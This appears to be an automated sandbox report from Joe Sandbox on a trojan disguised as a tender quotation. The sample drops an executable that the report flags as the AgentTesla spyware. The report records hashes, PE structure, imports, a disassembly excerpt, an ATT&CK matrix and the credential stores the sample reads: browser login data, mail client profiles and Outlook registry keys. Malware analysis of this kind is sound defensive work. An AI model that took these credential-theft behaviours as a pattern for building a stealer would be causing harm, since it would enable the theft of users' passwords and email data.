      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_00401A05 cpuid 1_2_00401A05
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_0040167D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,1_2_0040167D
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403640
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_023CF438 GetUserNameW,3_2_023CF438

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: 00000003.00000002.507831904.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: rtvzitvzef.exe PID: 5760, type: MEMORYSTR
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: 00000003.00000002.507831904.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: rtvzitvzef.exe PID: 5760, type: MEMORYSTR
      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid Accounts211
      Windows Management Instrumentation
      Path Interception1
      Access Token Manipulation
      12
      Virtualization/Sandbox Evasion
      1
      OS Credential Dumping
      1
      System Time Discovery
      Remote Services1
      Email Collection
      Exfiltration Over Other Network Medium1
      Encrypted Channel
      Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
      System Shutdown/Reboot
      Default Accounts2
      Command and Scripting Interpreter
      Boot or Logon Initialization Scripts111
      Process Injection
      1
      Disable or Modify Tools
      LSASS Memory23
      Security Software Discovery
      Remote Desktop Protocol1
      Archive Collected Data
      Exfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain Accounts1
      Native API
      Logon Script (Windows)Logon Script (Windows)1
      Access Token Manipulation
      Security Account Manager12
      Virtualization/Sandbox Evasion
      SMB/Windows Admin Shares1
      Data from Local System
      Automated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)111
      Process Injection
      NTDS1
      Application Window Discovery
      Distributed Component Object Model1
      Clipboard Data
      Scheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
      Deobfuscate/Decode Files or Information
      LSA Secrets1
      Account Discovery
      SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
      Replication Through Removable MediaLaunchdRc.commonRc.common2
      Obfuscated Files or Information
      Cached Domain Credentials1
      System Owner/User Discovery
      VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
      External Remote ServicesScheduled TaskStartup ItemsStartup Items31
      Software Packing
      DCSync2
      File and Directory Discovery
      Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem128
      System Information Discovery
      Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      Tender_QUOTATION__LH22000309AA2023.exe44%ReversingLabsWin32.Trojan.Leonem
      Tender_QUOTATION__LH22000309AA2023.exe46%VirustotalBrowse
      Tender_QUOTATION__LH22000309AA2023.exe100%Joe Sandbox ML
      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe22%ReversingLabsWin32.Trojan.Lazy
      C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe38%VirustotalBrowse
      SourceDetectionScannerLabelLinkDownload
      3.2.rtvzitvzef.exe.400000.1.unpack100%AviraTR/Spy.Gen8Download File
      3.2.rtvzitvzef.exe.4950000.5.unpack100%AviraTR/Spy.Gen8Download File
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http://nsis.sf.net/NSIS_ErrorErrorTender_QUOTATION__LH22000309AA2023.exefalse
        high
        No contacted IP infos
        Joe Sandbox Version:37.0.0 Beryl
        Analysis ID:830459
        Start date and time:2023-03-20 11:54:01 +01:00
        Joe Sandbox Product:CloudBasic
        Overall analysis duration:0h 8m 22s
        Hypervisor based Inspection enabled:false
        Report type:full
        Cookbook file name:default.jbs
        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
        Number of analysed new started processes analysed:15
        Number of new started drivers analysed:0
        Number of existing processes analysed:0
        Number of existing drivers analysed:0
        Number of injected processes analysed:0
        Technologies:
        • HCA enabled
        • EGA enabled
        • HDC enabled
        • AMSI enabled
        Analysis Mode:default
        Analysis stop reason:Timeout
        Sample file name:Tender_QUOTATION__LH22000309AA2023.exe
        Detection:MAL
        Classification:mal100.troj.spyw.evad.winEXE@6/4@0/0
        EGA Information:
        • Successful, ratio: 100%
        HDC Information:
        • Successful, ratio: 21% (good quality ratio 19.5%)
        • Quality average: 79.3%
        • Quality standard deviation: 29.7%
        HCA Information:
        • Successful, ratio: 100%
        • Number of executed functions: 67
        • Number of non-executed functions: 66
        Cookbook Comments:
        • Found application associated with file extension: .exe
        • Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
        • Excluded domains from analysis (whitelisted): fs.microsoft.com
        • Not all processes where analyzed, report is missing behavior information
        • Report creation exceeded maximum time and may have missing disassembly code information.
        No simulations
        No context
        No context
        No context
        No context
        No context
        Process:C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe
        File Type:data
        Category:dropped
        Size (bytes):268825
        Entropy (8bit):7.970949330830082
        Encrypted:false
        SSDEEP:6144:7/ENh2fSlLKY2EFQTQ19y8Iryj6JOhIX4CPVuaj5j2xP2jVP9l6HSZz:7sN0KsYRp9nITcCpVTj5SxA9AHSV
        MD5:07BDC7754FD2D24ABECF19BEA0D8EDBA
        SHA1:571FE777A979FFCEC0DA4B23218728B747353054
        SHA-256:72A97E584B67FE97623C6B121149AE588BA1DAAF74650EF0AE24803B4CFBADF6
        SHA-512:34DF6BC7C58EBADE6D16510548FB1916BEB3A27348AEB659AF4423DF23971D7EF1FF3E6BF0E27A9F915E2C471FC595379E4BD349CE0A69007B3922F72B089454
        Malicious:false
        Reputation:low
        Preview:'.a7|._..\.4BF3.u...0.9.1C&B....3n(..E....W..mw..]......ZD..o....w...j. ..H....t.5w1..Hwa....m....-...-_.7..O....)..h..c...A.t.f,.v.n..y.7>.F..k.......p.M...~.!9..I.).8.}A.Va&0B..7.,||.P.[....c...c^. m.>v.H?7.....=..K..| .D....].$&K.~.yx..k...Mt.x7._..0.4M&z.,|..0.9..C&BH...Y.....E...mW..mwS.]......HD.z...7.rw..#..a..$U.Y.e.M.1.<...DH..f.}...y...t..-.W.[.B.B...h.c...5t{..7..?w.....d.A.!|.bF.^Zyj..<.K.@.S.W2>....D.......k.z.Y.7t.r.......aAOAK..6Q..+o...6X...~....v23...tPPDA7A..]c%..k...M.y.Q.._..t.4.43...0+9..C&B....3n(.d.E.;..X..mw`.].....dD.z..7.rw<....aE.$W9@X..M.1.E....kH..f....y...tP.-.W.[.].F..3B..c.0..t{..7...w....%...9|.bF.^^ZRj..<.K.@.S.W2>...I=.I.....k.z.Y.7t.r.......aAOAK.,.Q..+o...6X...~....v23...tPPDA7A..]c%..k...Mt.x7._.H\.4.=3...0.9..C&B....3n(..E....W..mw..]......ZD.z...7.rw<....a..$U.Y.e.M.1......DH..f.....y...tP.-.W.[.].B...h..c...5t{..7..uw....%...9|.bF.^Zyj..<.K.@.S.W2>...I=.I.....k.z.Y.7t.r.......aAOAK.,.Q..+o...6X...~....v2
        Process:C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe
        File Type:data
        Category:dropped
        Size (bytes):5718
        Entropy (8bit):7.169750536212027
        Encrypted:false
        SSDEEP:96:Farc6oYCg/DrYugk2XO5oSwYM1VmnjMoCMdSNyJ5c8/miYyGCZS7zmzuZPVed:FarcRiohX1S9SEATcSwJ5c8/m1sVzSy
        MD5:0B8A956CD495CC12BE4D2BB8BCB56A64
        SHA1:B80FE7CBDB389FB044C63BDEB124F866945E24AC
        SHA-256:6B2AB38F6B3F0F3254B9C9E288814C6D61CA2848A827D8F4FA815A422CEAFE9D
        SHA-512:E09C8200EEDE41AA352C531EB7300A2682611FEB53922EF97E30C275CACBD41658F21FBE919B5B1460BD828E81A383B6D9F07E8A8C6F15B12346056E7B6D23E2
        Malicious:false
        Reputation:low
        Preview:.005m..f.F<...05o.:......?v>.3.3.<......M.knl.02a..c.E<...42c. ......4.D63.6.3.?.....E.gni.53P..805.p8.q?.2.8.u .a..beabo.H0..v..v.@3.`..i/7.p.6.t(2..g.}.u<..G-.0.3.h.f....w8L$.m.r.D;F...okc..m.;4.q.?.<@.4.0...m..u<f...@%.`4..D'd.O$..A5..=..<r..4M.knl.82a..Q..401ec.t4.M4...D;.D..d580..E9....E....3.u.mje.18e..`W..480.x<.p=.4.4.p-P..6.c.!....D%.|.eX.....+..t..0....e.a..`beP..580.p=.t>.8.5.p,XE..Md.....M9..e...@4......F1..u.|c.....Lq.}<...v<+480.}<;.&<.>..r.^.q8F0....q.^.q8F0...^..M...3uc.....}<F...kloe.=8e...548.r...t..w.(058.q..v..I.0A..q..34.q.p.}..u.{.w....}.p013......u.L.4F".u..04.t.t.q..p.x.u....q.8580..Y...}..E.4D'.q..80.}.t.t..w.p.p...X+AK..M......v.ZXK.J.E.....}.]..O.F.....u.X_.M.M......H...X...K.D.....}.\&....A..B....G...P5..O.E..P....\...Y...K.E..a....B...].4.T.4.q0.p..q..~<1|..x.q.>.t&.u.|1,.t..w.pe..\...w.p..u.T.4.Q.0.}.;.q%..5M%.}.;.qm..tL9.}.5013.6.].5.u...K...P3480..u...dR0.m...D4...B358.q.0342.}.e......dX4R0]<048[3^2^8Z5..p...d.a..
        Process:C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe
        File Type:data
        Category:dropped
        Size (bytes):383871
        Entropy (8bit):7.654896703470905
        Encrypted:false
        SSDEEP:6144:Y/ENh2fSlLKY2EFQTQ19y8Iryj6JOhIX4CPVuaj5j2xP2jVP9l6HSZe4GKGsGZEC:YsN0KsYRp9nITcCpVTj5SxA9AHSY4GKI
        MD5:FBC486075C71561D6180F4B65D3B5D37
        SHA1:4AC420FF2FDF3460A4DB48AF0C603E96E4DABA9C
        SHA-256:DEA9F7094037B7097AB67F6C9508F14E7532792CA4D0AF4D68F72BDB497A4C9D
        SHA-512:EB01FF7D5AA373C457A5F9B5B18E43C2141CC11691CE0B2EE95A80DFF39823676ACC585613A4DE2A025E0F742C18A3A6C7D24BF6DC4156BFD0132BAF97887EEC
        Malicious:false
        Reputation:low
        Preview:.5......,........................!......64.......5..............................................................................F...........................................................................................................................................................G...................j...........................................................................................................................................^...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
        Process:C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe
        File Type:PE32 executable (console) Intel 80386, for MS Windows
        Category:modified
        Size (bytes):95744
        Entropy (8bit):6.22624690688885
        Encrypted:false
        SSDEEP:1536:w0ZlV4KXc4OxQEsGZDmS+jtBaK/eRuZocSZUpxwkyBp+NnFsSW81kxgsWJjcdvCk:pd4KALsGZDN+x/yuZocSTkyBw9y8eASL
        MD5:18995C06B5CE38C0D46A65451B5AAFB0
        SHA1:BCD38033C62BD2D7200201C785C2E5A7AEDDA81A
        SHA-256:BCAEE4AED66E705BD14ED4994B7376FE06830BF2CE864FBCC307BBBF9613A7FA
        SHA-512:FB8C76B256EF7E98BA6C96C2E6D0C167E5B292A004FFDFD70B361E8D4EF9E4FE223F3F81A54E0473F248418C13F0E7F5696E53D446C6C74D8690BBDF1AFD5B26
        Malicious:true
        Antivirus:
        • Antivirus: ReversingLabs, Detection: 22%
        • Antivirus: Virustotal, Detection: 38%, Browse
        Reputation:low
        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...s...s...s...8...y...8.......8...g......U......b......`...8...j...s...........r.......r...Richs...........PE..L......d...............!.....|......".............@.........................................................................|k.......................................^...............................]..@............................................text............................... ..`.rdata...f.......h..................@..@.data...l............l..............@...........................................................................................................................................................................................................................................................................................................................................................................................................
        File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
        Entropy (8bit):7.932897306880799
        TrID:
        • Win32 Executable (generic) a (10002005/4) 99.96%
        • Generic Win/DOS Executable (2004/3) 0.02%
        • DOS Executable Generic (2002/1) 0.02%
        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
        File name:Tender_QUOTATION__LH22000309AA2023.exe
        File size:316771
        MD5:e615251b80317473a68488a21a1d0457
        SHA1:56f3a2dcf6d730126426ce2d65ae5819ca4c753e
        SHA256:b4a5e199a29723b27c6aced8f28c7b39f29738bfb2ea3ada079e38c4aad366f4
        SHA512:5cc554d11ed4f89b8993ad04276929978ec1c4840cf5a5e1e013b77eb3a87138e17e550815bae461085caa7ab81b916c7f24c12f3bdfa796b1e06fd8cf21aab9
        SSDEEP:6144:/Ya6WT4gMl7QMZVzkNrIXjsh+IHqneS8p1ARssPdP5lkNxbZ:/YQsgorXsHqneJVdpZ
        TLSH:1D64235577F6CC8BDDE1093339B20B124E5A6F030AA98B4B5358CB4DBA271C7E52B352
        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....
        Icon Hash:b2a88c96b2ca6a72
        Entrypoint:0x403640
        Entrypoint Section:.text
        Digitally signed:false
        Imagebase:0x400000
        Subsystem:windows gui
        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
        Time Stamp:0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
        TLS Callbacks:
        CLR (.Net) Version:
        OS Version Major:4
        OS Version Minor:0
        File Version Major:4
        File Version Minor:0
        Subsystem Version Major:4
        Subsystem Version Minor:0
        Import Hash:61259b55b8912888e90f516ca08dc514
        Instruction
        push ebp
        mov ebp, esp
        sub esp, 000003F4h
        push ebx
        push esi
        push edi
        push 00000020h
        pop edi
        xor ebx, ebx
        push 00008001h
        mov dword ptr [ebp-14h], ebx
        mov dword ptr [ebp-04h], 0040A230h
        mov dword ptr [ebp-10h], ebx
        call dword ptr [004080C8h]
        mov esi, dword ptr [004080CCh]
        lea eax, dword ptr [ebp-00000140h]
        push eax
        mov dword ptr [ebp-0000012Ch], ebx
        mov dword ptr [ebp-2Ch], ebx
        mov dword ptr [ebp-28h], ebx
        mov dword ptr [ebp-00000140h], 0000011Ch
        call esi
        test eax, eax
        jne 00007F785CBEDDEAh
        lea eax, dword ptr [ebp-00000140h]
        mov dword ptr [ebp-00000140h], 00000114h
        push eax
        call esi
        mov ax, word ptr [ebp-0000012Ch]
        mov ecx, dword ptr [ebp-00000112h]
        sub ax, 00000053h
        add ecx, FFFFFFD0h
        neg ax
        sbb eax, eax
        mov byte ptr [ebp-26h], 00000004h
        not eax
        and eax, ecx
        mov word ptr [ebp-2Ch], ax
        cmp dword ptr [ebp-0000013Ch], 0Ah
        jnc 00007F785CBEDDBAh
        and word ptr [ebp-00000132h], 0000h
        mov eax, dword ptr [ebp-00000134h]
        movzx ecx, byte ptr [ebp-00000138h]
        mov dword ptr [0042A318h], eax
        xor eax, eax
        mov ah, byte ptr [ebp-0000013Ch]
        movzx eax, ax
        or eax, ecx
        xor ecx, ecx
        mov ch, byte ptr [ebp-2Ch]
        movzx ecx, cx
        shl eax, 10h
        or eax, ecx
        Programming Language:
        • [EXP] VC++ 6.0 SP5 build 8804
        NameVirtual AddressVirtual Size Is in Section
        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
        IMAGE_DIRECTORY_ENTRY_IMPORT0x85040xa0.rdata
        IMAGE_DIRECTORY_ENTRY_RESOURCE0x3b0000xcf0.rsrc
        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
        IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
        .text0x10000x66760x6800False0.6568134014423077data6.4174599871908855IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
        .rdata0x80000x139a0x1400False0.4498046875data5.141066817170598IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
        .data0xa0000x203780x600False0.509765625data4.110582127654237IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
        .ndata0x2b0000x100000x0False0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
        .rsrc0x3b0000xcf00xe00False0.4252232142857143data4.244072202507094IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
        NameRVASizeTypeLanguageCountry
        RT_ICON0x3b1d80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640EnglishUnited States
        RT_DIALOG0x3b4c00x100dataEnglishUnited States
        RT_DIALOG0x3b5c00x11cdataEnglishUnited States
        RT_DIALOG0x3b6e00x60dataEnglishUnited States
        RT_GROUP_ICON0x3b7400x14dataEnglishUnited States
        RT_VERSION0x3b7580x254dataEnglishUnited States
        RT_MANIFEST0x3b9b00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States
        DLLImport
        ADVAPI32.dllRegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
        SHELL32.dllSHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
        ole32.dllOleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
        COMCTL32.dllImageList_Create, ImageList_Destroy, ImageList_AddMasked
        USER32.dllGetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
        GDI32.dllSetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
        KERNEL32.dllGetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW
        Language of compilation systemCountry where language is spokenMap
        EnglishUnited States
        Report size exceeds maximum size, go to the download page of this report and download PCAP to see all network behavior.

        Click to jump to process

        Click to jump to process

        Click to dive into process behavior distribution

        Click to jump to process

        Target ID:0
        Start time:11:54:55
        Start date:20/03/2023
        Path:C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe
        Wow64 process (32bit):true
        Commandline:C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe
        Imagebase:0x400000
        File size:316771 bytes
        MD5 hash:E615251B80317473A68488A21A1D0457
        Has elevated privileges:true
        Has administrator privileges:true
        Programmed in:C, C++ or other language
        Reputation:low

        Target ID:1
        Start time:11:54:56
        Start date:20/03/2023
        Path:C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe
        Wow64 process (32bit):true
        Commandline:"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer
        Imagebase:0x400000
        File size:95744 bytes
        MD5 hash:18995C06B5CE38C0D46A65451B5AAFB0
        Has elevated privileges:true
        Has administrator privileges:true
        Programmed in:C, C++ or other language
        Antivirus matches:
        • Detection: 22%, ReversingLabs
        • Detection: 38%, Virustotal, Browse
        Reputation:low

        Target ID:2
        Start time:11:54:56
        Start date:20/03/2023
        Path:C:\Windows\System32\conhost.exe
        Wow64 process (32bit):false
        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Imagebase:0x7ff6edaf0000
        File size:625664 bytes
        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
        Has elevated privileges:true
        Has administrator privileges:true
        Programmed in:C, C++ or other language
        Reputation:high

        Target ID:3
        Start time:11:54:57
        Start date:20/03/2023
        Path:C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe
        Wow64 process (32bit):true
        Commandline:C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe
        Imagebase:0x400000
        File size:95744 bytes
        MD5 hash:18995C06B5CE38C0D46A65451B5AAFB0
        Has elevated privileges:true
        Has administrator privileges:true
        Programmed in:.Net C# or VB.NET
        Yara matches:
        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.507831904.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
        Reputation:low

        Reset < >

          Execution Graph

          Execution Coverage:15.9%
          Dynamic/Decrypted Code Coverage:0%
          Signature Coverage:16.5%
          Total number of Nodes:1379
          Total number of Limit Nodes:25
          execution_graph 3219 403640 SetErrorMode GetVersionExW 3220 403692 GetVersionExW 3219->3220 3221 4036ca 3219->3221 3220->3221 3222 403723 3221->3222 3223 406a35 5 API calls 3221->3223 3309 4069c5 GetSystemDirectoryW 3222->3309 3223->3222 3225 403739 lstrlenA 3225->3222 3226 403749 3225->3226 3312 406a35 GetModuleHandleA 3226->3312 3229 406a35 5 API calls 3230 403757 3229->3230 3231 406a35 5 API calls 3230->3231 3232 403763 #17 OleInitialize SHGetFileInfoW 3231->3232 3318 406668 lstrcpynW 3232->3318 3235 4037b0 GetCommandLineW 3319 406668 lstrcpynW 3235->3319 3237 4037c2 3320 405f64 3237->3320 3240 4038f7 3241 40390b GetTempPathW 3240->3241 3324 40360f 3241->3324 3243 403923 3245 403927 GetWindowsDirectoryW lstrcatW 3243->3245 3246 40397d DeleteFileW 3243->3246 3244 405f64 CharNextW 3248 4037f9 3244->3248 3249 40360f 12 API calls 3245->3249 3334 4030d0 GetTickCount GetModuleFileNameW 3246->3334 3248->3240 3248->3244 3253 4038f9 3248->3253 3251 403943 3249->3251 3250 403990 3254 403b6c ExitProcess OleUninitialize 3250->3254 3256 403a45 3250->3256 3263 405f64 CharNextW 3250->3263 3251->3246 3252 403947 GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 3251->3252 3255 40360f 12 API calls 3252->3255 3420 406668 lstrcpynW 3253->3420 3258 403b91 3254->3258 3259 403b7c 3254->3259 3262 403975 3255->3262 3364 403d17 3256->3364 3260 403b99 GetCurrentProcess OpenProcessToken 3258->3260 3261 403c0f ExitProcess 3258->3261 3474 405cc8 3259->3474 3266 403bb0 LookupPrivilegeValueW AdjustTokenPrivileges 3260->3266 3267 403bdf 3260->3267 3262->3246 3262->3254 3278 4039b2 3263->3278 3266->3267 3271 406a35 5 API calls 